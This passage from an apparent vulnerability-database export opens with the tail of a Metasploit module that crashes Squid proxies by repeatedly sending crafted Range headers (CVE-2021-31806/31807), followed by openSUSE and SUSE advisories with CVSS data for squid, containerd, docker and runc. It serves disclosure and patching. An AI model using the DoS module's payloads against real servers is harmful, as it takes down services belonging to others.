5.0.1-5.0.5 suffers from multiple vulnerabilities triggered\n by specific HTTP requests and responses.\n\n These vulnerabilities allow remote attackers to cause a\n denial of service through specifically crafted requests.\n },\n 'Author' => [\n 'Joshua Rogers' # Discoverer, and Metasploit Module\n ],\n 'License' => MSF_LICENSE,\n 'Actions' => [\n ['DOS', { 'Description' => 'Perform Denial of Service Against The Target' }]\n ],\n 'DefaultAction' => 'DOS',\n 'References' => [\n [ 'CVE', '2021-31806'],\n [ 'CVE', '2021-31807'],\n [ 'URL', 'https://blogs.opera.com/security/2021/10/fuzzing-http-proxies-squid-part-2/']\n ],\n 'DisclosureDate' => '2021-05-27',\n 'Notes' => {\n 'Stability' => [ CRASH_SERVICE_DOWN ],\n 'Reliability' => [ ],\n 'SideEffects' => [ IOC_IN_LOGS ]\n }\n )\n )\n\n register_options(\n [\n Opt::RPORT(3128),\n OptInt.new('REQUEST_COUNT', [ true, 'The number of requests to be sent, as well as the number of re-tries to confirm a dead host', 50 ]),\n OptEnum.new('CVE', [\n true, 'CVE to check/exploit', 'CVE-2021-31806',\n ['CVE-2021-31806', 'CVE-2021-31807']\n ]),\n ]\n )\n end\n\n def on_request_uri(cli, _request)\n # The Last-Modified response header must be set such that Squid caches the page.\n send_response(cli, '<html></html>', { 'Last-Modified' => 'Mon, 01 Jan 2020 00:00:00 GMT' })\n end\n\n def run\n count = 0\n error_count = 0 # The amount of connection errors from the server.\n reqs = datastore['REQUEST_COUNT'] # The maximum amount of requests (with a valid response) to the server.\n\n print_status(\"Sending #{reqs} DoS requests to #{peer}\")\n\n start_service\n\n while reqs > count\n begin\n res = req(datastore['CVE'])\n rescue Errno::ECONNRESET\n res = nil\n end\n\n if res && (res.code == 200) && (count == 0)\n count = 1\n print_status(\"Sent first request to #{rhost}:#{rport}\")\n elsif res\n print_status(\"Sent DoS request #{count} to #{rhost}:#{rport}\")\n count += 1\n error_count = 0\n\n next # Host could be completely dead, or just waiting for another Squid child.\n elsif count == 0\n print_error('Cannot connect to host.')\n return\n end\n\n error_count += 1\n next unless error_count > reqs # If we cannot connect after `res` amount of attempts, assume the DoS was successful.\n\n print_good('DoS completely successful.')\n report_vuln(\n host: rhost,\n port: rport,\n name: name,\n refs: references\n )\n return\n end\n print_error('Looks like the host is not vulnerable.')\n end\n\n def req(cve)\n case cve\n when 'CVE-2021-31806'\n sploit = cve_2021_31806\n when 'CVE-2021-31807'\n sploit = cve_2021_31807\n end\n\n send_request_raw({\n 'uri' => get_uri,\n 'headers' => {\n 'Host' => \"#{srvhost_addr}:#{srvport}\",\n 'Range' => sploit,\n 'Cache-Control' => 'public'\n }\n })\n end\n\n def cve_2021_31806\n # This will cause Squid to assert with \"http->out.offset <= start\"\n %(bytes=0-0,-0,-1)\n end\n\n def cve_2021_31807\n # This will cause Squid to assert with \"!http->range_iter.debt() == !http->range_iter.currentSpec()\"\n %(bytes=0-0,-4,-0)\n end\n\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/dos/http/squid_range_dos.rb", "cvss": {"score": 0.0, "vector": "NONE"}}], "suse": [{"lastseen": "2022-04-18T12:40:19", "description": "An update that solves 5 vulnerabilities and has three fixes\n is now available.\n\nDescription:\n\n This update for squid fixes the following issues:\n\n - update to 4.15:\n - CVE-2021-28652: Broken cache manager URL parsing (bsc#1185918)\n - CVE-2021-28651: Memory leak in RFC 2169 response parsing (bsc#1185921)\n - CVE-2021-28662: Limit HeaderLookupTable_t::lookup() to BadHdr and\n specific IDs (bsc#1185919)\n - CVE-2021-31806: Handle more Range requests (bsc#1185916)\n - CVE-2020-25097: HTTP Request Smuggling vulnerability (bsc#1183436)\n - Handle more partial responses (bsc#1185923)\n - fix previous change to reinstante permissions macros, because the wrong\n path has been used (bsc#1171569).\n - use libexecdir instead of libdir to conform to recent changes in Factory\n (bsc#1171164).\n - Reinstate permissions macros for pinger binary, because the permissions\n package is also responsible for setting up the cap_net_raw capability,\n currently a fresh squid install doesn't get a capability bit at all\n (bsc#1171569).\n - Change pinger and basic_pam_auth helper to use standard permissions.\n pinger uses cap_net_raw=ep instead (bsc#1171569)\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.3:\n\n zypper in -t patch openSUSE-SLE-15.3-2021-1961=1", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 8.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 4.0}, "published": "2021-07-11T00:00:00", "type": "suse", "title": "Security update for squid (important)", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-25097", "CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806"], "modified": "2021-07-11T00:00:00", "id": "OPENSUSE-SU-2021:1961-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/PR56WJLXVU76BKBW5SFENNPKF5TJSS5K/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-11-08T04:09:03", "description": "An update that solves 5 vulnerabilities and has three fixes\n is now available.\n\nDescription:\n\n This update for squid fixes the following issues:\n\n - update to 4.15:\n - CVE-2021-28652: Broken cache manager URL parsing (bsc#1185918)\n - CVE-2021-28651: Memory leak in RFC 2169 response parsing (bsc#1185921)\n - CVE-2021-28662: Limit HeaderLookupTable_t::lookup() to BadHdr and\n specific IDs (bsc#1185919)\n - CVE-2021-31806: Handle more Range requests (bsc#1185916)\n - CVE-2020-25097: HTTP Request Smuggling vulnerability (bsc#1183436)\n - Handle more partial responses (bsc#1185923)\n - fix previous change to reinstante permissions macros, because the wrong\n path has been used (bsc#1171569).\n - use libexecdir instead of libdir to conform to recent changes in Factory\n (bsc#1171164).\n - Reinstate permissions macros for pinger binary, because the permissions\n package is also responsible for setting up the cap_net_raw capability,\n currently a fresh squid install doesn't get a capability bit at all\n (bsc#1171569).\n - Change pinger and basic_pam_auth helper to use standard permissions.\n pinger uses cap_net_raw=ep instead (bsc#1171569)\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.2:\n\n zypper in -t patch openSUSE-2021-879=1", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 8.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 4.0}, "published": "2021-06-16T00:00:00", "type": "suse", "title": "Security update for squid (important)", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-25097", "CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806"], "modified": "2021-06-16T00:00:00", "id": "OPENSUSE-SU-2021:0879-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/E33JWP5CXQF3EVKKDRECX4457F2ILQP2/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-11-10T08:10:18", "description": "An update that fixes one vulnerability is now available.\n\nDescription:\n\n This update for containerd fixes the following issues:\n\n - CVE-2021-32760: Fixed a bug which allows untrusted container images to\n change permissions in the host's filesystem. (bsc#1188282)\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.2:\n\n zypper in -t patch openSUSE-2021-1081=1", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.4}, "published": "2021-07-24T00:00:00", "type": "suse", "title": "Security update for containerd (moderate)", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-32760"], "modified": "2021-07-24T00:00:00", "id": "OPENSUSE-SU-2021:1081-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/JOFB4OTX7BGTKOBQF2ZTPBP4VJT54IQS/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-11-06T17:58:39", "description": "An update that fixes one vulnerability is now available.\n\nDescription:\n\n This update for containerd fixes the following issues:\n\n - CVE-2021-32760: Fixed a bug which allows untrusted container images to\n change permissions in the host's filesystem. (bsc#1188282)\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.3:\n\n zypper in -t patch openSUSE-SLE-15.3-2021-2412=1", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.4}, "published": "2021-07-20T00:00:00", "type": "suse", "title": "Security update for containerd (moderate)", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-32760"], "modified": "2021-07-20T00:00:00", "id": "OPENSUSE-SU-2021:2412-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/KOVJMTDKAFMTONFNVO7Z327OFE52V7FK/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-11-08T04:08:17", "description": "An update that solves two vulnerabilities and has one\n errata is now available.\n\nDescription:\n\n This update for squid fixes the following issues:\n\n - CVE-2021-46784: Fixed DoS when processing gopher server responses.\n (bsc#1200907)\n - CVE-2021-33620: Fixed DoS in HTTP Response processing (bsc#1185923,\n bsc#1186654)\n\n\nPatch Instructions:\n\n To install this SUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.3:\n\n zypper in -t patch openSUSE-SLE-15.3-2022-2553=1\n\n - SUSE Manager Server 4.1:\n\n zypper in -t patch SUSE-SLE-Product-SUSE-Manager-Server-4.1-2022-2553=1\n\n - SUSE Manager Retail Branch Server 4.1:\n\n zypper in -t patch SUSE-SLE-Product-SUSE-Manager-Retail-Branch-Server-4.1-2022-2553=1\n\n - SUSE Manager Proxy 4.1:\n\n zypper in -t patch SUSE-SLE-Product-SUSE-Manager-Proxy-4.1-2022-2553=1\n\n - SUSE Linux Enterprise Server for SAP 15-SP2:\n\n zypper in -t patch SUSE-SLE-Product-SLES_SAP-15-SP2-2022-2553=1\n\n - SUSE Linux Enterprise Server for SAP 15-SP1:\n\n zypper in -t patch SUSE-SLE-Product-SLES_SAP-15-SP1-2022-2553=1\n\n - SUSE Linux Enterprise Server for SAP 15:\n\n zypper in -t patch SUSE-SLE-Product-SLES_SAP-15-2022-2553=1\n\n - SUSE Linux Enterprise Server 15-SP2-LTSS:\n\n zypper in -t patch SUSE-SLE-Product-SLES-15-SP2-LTSS-2022-2553=1\n\n - SUSE Linux Enterprise Server 15-SP2-BCL:\n\n zypper in -t patch SUSE-SLE-Product-SLES-15-SP2-BCL-2022-2553=1\n\n - SUSE Linux Enterprise Server 15-SP1-LTSS:\n\n zypper in -t patch SUSE-SLE-Product-SLES-15-SP1-LTSS-2022-2553=1\n\n - SUSE Linux Enterprise Server 15-SP1-BCL:\n\n zypper in -t patch SUSE-SLE-Product-SLES-15-SP1-BCL-2022-2553=1\n\n - SUSE Linux Enterprise Server 15-LTSS:\n\n zypper in -t patch SUSE-SLE-Product-SLES-15-2022-2553=1\n\n - SUSE Linux Enterprise Module for Server Applications 15-SP3:\n\n zypper in -t patch SUSE-SLE-Module-Server-Applications-15-SP3-2022-2553=1\n\n - SUSE Linux Enterprise High Performance Computing 15-SP2-LTSS:\n\n zypper in -t patch SUSE-SLE-Product-HPC-15-SP2-LTSS-2022-2553=1\n\n - SUSE Linux Enterprise High Performance Computing 15-SP2-ESPOS:\n\n zypper in -t patch SUSE-SLE-Product-HPC-15-SP2-ESPOS-2022-2553=1\n\n - SUSE Linux Enterprise High Performance Computing 15-SP1-LTSS:\n\n zypper in -t patch SUSE-SLE-Product-HPC-15-SP1-LTSS-2022-2553=1\n\n - SUSE Linux Enterprise High Performance Computing 15-SP1-ESPOS:\n\n zypper in -t patch SUSE-SLE-Product-HPC-15-SP1-ESPOS-2022-2553=1\n\n - SUSE Linux Enterprise High Performance Computing 15-LTSS:\n\n zypper in -t patch SUSE-SLE-Product-HPC-15-2022-2553=1\n\n - SUSE Linux Enterprise High Performance Computing 15-ESPOS:\n\n zypper in -t patch SUSE-SLE-Product-HPC-15-2022-2553=1\n\n - SUSE Enterprise Storage 7:\n\n zypper in -t patch SUSE-Storage-7-2022-2553=1\n\n - SUSE Enterprise Storage 6:\n\n zypper in -t patch SUSE-Storage-6-2022-2553=1\n\n - SUSE CaaS Platform 4.0:\n\n To install this update, use the SUSE CaaS Platform 'skuba' tool. It\n will inform you if it detects new updates and let you then trigger\n updating of the complete cluster in a controlled way.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2022-07-26T00:00:00", "type": "suse", "title": "Security update for squid (important)", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-33620", "CVE-2021-46784"], "modified": "2022-07-26T00:00:00", "id": "SUSE-SU-2022:2553-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/M2J5I4SMKZ66BAR36QD4HWFIOUHNJQEY/", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-11-06T12:08:56", "description": "An update that solves 6 vulnerabilities and has four fixes\n is now available.\n\nDescription:\n\n This update for containerd, docker, runc fixes the following issues:\n\n Docker was updated to 20.10.9-ce. (bsc#1191355)\n\n See upstream changelog in the packaged\n /usr/share/doc/packages/docker/CHANGELOG.md.\n\n CVE-2021-41092 CVE-2021-41089 CVE-2021-41091 CVE-2021-41103\n\n container was updated to v1.4.11, to fix CVE-2021-41103. bsc#1191355\n\n - CVE-2021-32760: Fixed that a archive package allows chmod of file\n outside of unpack target directory (bsc#1188282)\n\n - Install systemd service file as well (bsc#1190826)\n\n Update to runc v1.0.2. Upstream changelog is available from\n\n https://github.com/opencontainers/runc/releases/tag/v1.0.2\n\n * Fixed a failure to set CPU quota period in some cases on cgroup v1.\n * Fixed the inability to start a container with the \"adding seccomp filter\n rule for syscall ...\" error, caused by redundant seccomp rules (i.e.\n those that has action equal to the default one). Such redundant rules\n are now skipped.\n * Made release builds reproducible from now on.\n * Fixed a rare debug log race in runc init, which can result in occasional\n harmful \"failed to decode ...\" errors from runc run or exec.\n * Fixed the check in cgroup v1 systemd manager if a container needs to be\n frozen before Set, and add a setting to skip such freeze\n unconditionally. The previous fix for that issue, done in runc 1.0.1,\n was not working.\n\n Update to runc v1.0.1. Upstream changelog is available from\n\n https://github.com/opencontainers/runc/releases/tag/v1.0.1\n\n * Fixed occasional runc exec/run failure (\"interrupted system call\") on an\n Azure volume.\n * Fixed \"unable to find groups ... token too long\" error with /etc/group\n containing lines longer than 64K characters.\n * cgroup/systemd/v1: fix leaving cgroup frozen after Set if a parent\n cgroup is frozen. This is a regression in 1.0.0, not affecting runc\n itself but some\n of libcontainer users (e.g Kubernetes).\n * cgroupv2: bpf: Ignore inaccessible existing programs in case of\n permission error when handling replacement of existing bpf cgroup\n programs. This fixes a regression in 1.0.0, where some SELinux policies\n would block runc from being able to run entirely.\n * cgroup/systemd/v2: don't freeze cgroup on Set.\n * cgroup/systemd/v1: avoid unnecessary freeze on Set.\n - fix issues with runc under openSUSE MicroOS's SELinux policy. bsc#1187704\n\n Update to runc v1.0.0. Upstream changelog is available from\n\n https://github.com/opencontainers/runc/releases/tag/v1.0.0\n\n ! The usage of relative paths for mountpoints will now produce a warning\n (such configurations are outside of the spec, and in future runc will\n produce an error when given such configurations).\n * cgroupv2: devices: rework the filter generation to produce consistent\n results with cgroupv1, and always clobber any existing eBPF program(s)\n to fix runc update and avoid leaking eBPF programs (resulting in errors\n when managing containers).\n * cgroupv2: correctly convert \"number of IOs\" statistics in a\n cgroupv1-compatible way.\n * cgroupv2: support larger than 32-bit IO statistics on 32-bit\n architectures.\n * cgroupv2: wait for freeze to finish before returning from the freezing\n code, optimize the method for checking whether a cgroup is frozen.\n * cgroups/systemd: fixed \"retry on dbus disconnect\" logic introduced in\n rc94\n * cgroups/systemd: fixed returning \"unit already exists\" error from a\n systemd cgroup manager (regression in rc94)\n + cgroupv2: support SkipDevices with systemd driver\n + cgroup/systemd: return, not ignore, stop unit error from Destroy\n + Make \"runc --version\" output sane even when built with go get or\n otherwise outside of our build scripts.\n + cgroups: set SkipDevices during runc update (so we don't modify cgroups\n at all during runc update).\n + cgroup1: blkio: support BFQ weights.\n + cgroupv2: set per-device io weights if BFQ IO scheduler is available.\n\n Update to runc v1.0.0~rc95. Upstream changelog is available from\n https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc95\n\n This release of runc contains a fix for CVE-2021-30465, and users are\n strongly recommended to update (especially if you are providing\n semi-limited access to spawn containers to untrusted users). (bsc#1185405)\n\n Update to runc v1.0.0~rc94. Upstream changelog is available from\n https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc94\n\n Breaking Changes:\n * cgroupv1: kernel memory limits are now always ignored, as kmemcg has\n been effectively deprecated by the kernel. Users should make use of\n regular memory cgroup controls.\n\n Regression Fixes:\n\n * seccomp: fix 32-bit compilation errors\n * runc init: fix a hang caused by deadlock in seccomp/ebpf loading code\n * runc start: fix \"chdir to cwd: permission denied\" for some setups\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.2:\n\n zypper in -t patch openSUSE-2021-1404=1", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.5, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-10-31T00:00:00", "type": "suse", "title": "Security update for containerd, docker, runc (important)", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30465", "CVE-2021-32760", "CVE-2021-41089", "CVE-2021-41091", "CVE-2021-41092", "CVE-2021-41103"], "modified": "2021-10-31T00:00:00", "id": "OPENSUSE-SU-2021:1404-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/L7ADRJZ4HKOCVZC5ZKIM4MD6EZEHBNB3/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-18T12:39:59", "description": "An update that solves 6 vulnerabilities and has four fixes\n is now available.\n\nDescription:\n\n This update for containerd, docker, runc fixes the following issues:\n\n Docker was updated to 20.10.9-ce. (bsc#1191355)\n\n See upstream changelog in the packaged\n /usr/share/doc/packages/docker/CHANGELOG.md.\n\n CVE-2021-41092 CVE-2021-41089 CVE-2021-41091 CVE-2021-41103\n\n container was updated to v1.4.11, to fix CVE-2021-41103. bsc#1191355\n\n - CVE-2021-32760: Fixed that a archive package allows chmod of file\n outside of unpack target directory (bsc#1188282)\n\n - Install systemd service file as well (bsc#1190826)\n\n Update to runc v1.0.2. Upstream changelog is available from\n\n https://github.com/opencontainers/runc/releases/tag/v1.0.2\n\n * Fixed a failure to set CPU quota period in some cases on cgroup v1.\n * Fixed the inability to start a container with the \"adding seccomp filter\n rule for syscall ...\" error, caused by redundant seccomp rules (i.e.\n those that has action equal to the default one). Such redundant rules\n are now skipped.\n * Made release builds reproducible from now on.\n * Fixed a rare debug log race in runc init, which can result in occasional\n harmful \"failed to decode ...\" errors from runc run or exec.\n * Fixed the check in cgroup v1 systemd manager if a container needs to be\n frozen before Set, and add a setting to skip such freeze\n unconditionally. The previous fix for that issue, done in runc 1.0.1,\n was not working.\n\n Update to runc v1.0.1. Upstream changelog is available from\n\n https://github.com/opencontainers/runc/releases/tag/v1.0.1\n\n * Fixed occasional runc exec/run failure (\"interrupted system call\") on an\n Azure volume.\n * Fixed \"unable to find groups ... token too long\" error with /etc/group\n containing lines longer than 64K characters.\n * cgroup/systemd/v1: fix leaving cgroup frozen after Set if a parent\n cgroup is frozen. This is a regression in 1.0.0, not affecting runc\n itself but some\n of libcontainer users (e.g Kubernetes).\n * cgroupv2: bpf: Ignore inaccessible existing programs in case of\n permission error when handling replacement of existing bpf cgroup\n programs. This fixes a regression in 1.0.0, where some SELinux policies\n would block runc from being able to run entirely.\n * cgroup/systemd/v2: don't freeze cgroup on Set.\n * cgroup/systemd/v1: avoid unnecessary freeze on Set.\n - fix issues with runc under openSUSE MicroOS's SELinux policy. bsc#1187704\n\n Update to runc v1.0.0. Upstream changelog is available from\n\n https://github.com/opencontainers/runc/releases/tag/v1.0.0\n\n ! The usage of relative paths for mountpoints will now produce a warning\n (such configurations are outside of the spec, and in future runc will\n produce an error when given such configurations).\n * cgroupv2: devices: rework the filter generation to produce consistent\n results with cgroupv1, and always clobber any existing eBPF program(s)\n to fix runc update and avoid leaking eBPF programs (resulting in errors\n when managing containers).\n * cgroupv2: correctly convert \"number of IOs\" statistics in a\n cgroupv1-compatible way.\n * cgroupv2: support larger than 32-bit IO statistics on 32-bit\n architectures.\n * cgroupv2: wait for freeze to finish before returning from the freezing\n code, optimize the method for checking whether a cgroup is frozen.\n * cgroups/systemd: fixed \"retry on dbus disconnect\" logic introduced in\n rc94\n * cgroups/systemd: fixed returning \"unit already exists\" error from a\n systemd cgroup manager (regression in rc94)\n + cgroupv2: support SkipDevices with systemd driver\n + cgroup/systemd: return, not ignore, stop unit error from Destroy\n + Make \"runc --version\" output sane even when built with go get or\n otherwise outside of our build scripts.\n + cgroups: set SkipDevices during runc update (so we don't modify cgroups\n at all during runc update).\n + cgroup1: blkio: support BFQ weights.\n + cgroupv2: set per-device io weights if BFQ IO scheduler is available.\n\n Update to runc v1.0.0~rc95. Upstream changelog is available from\n https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc95\n\n This release of runc contains a fix for CVE-2021-30465, and users are\n strongly recommended to update (especially if you are providing\n semi-limited access to spawn containers to untrusted users). (bsc#1185405)\n\n Update to runc v1.0.0~rc94. Upstream changelog is available from\n https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc94\n\n Breaking Changes:\n * cgroupv1: kernel memory limits are now always ignored, as kmemcg has\n been effectively deprecated by the kernel. Users should make use of\n regular memory cgroup controls.\n\n Regression Fixes:\n\n * seccomp: fix 32-bit compilation errors\n * runc init: fix a hang caused by deadlock in seccomp/ebpf loading code\n * runc start: fix \"chdir to cwd: permission denied\" for some setups\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.3:\n\n zypper in -t patch openSUSE-SLE-15.3-2021-3506=1", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.5, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-10-25T00:00:00", "type": "suse", "title": "Security update for containerd, docker, runc (important)", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30465", "CVE-2021-32760", "CVE-2021-41089", "CVE-2021-41091", "CVE-2021-41092", "CVE-2021-41103"], "modified": "2021-10-25T00:00:00", "id": "OPENSUSE-SU-2021:3506-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/NP4XGHFKECRFSI6UYXER53KXVGP66EHQ/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "archlinux": [{"lastseen": "2021-07-28T14:33:54", "description": "Arch Linux Security 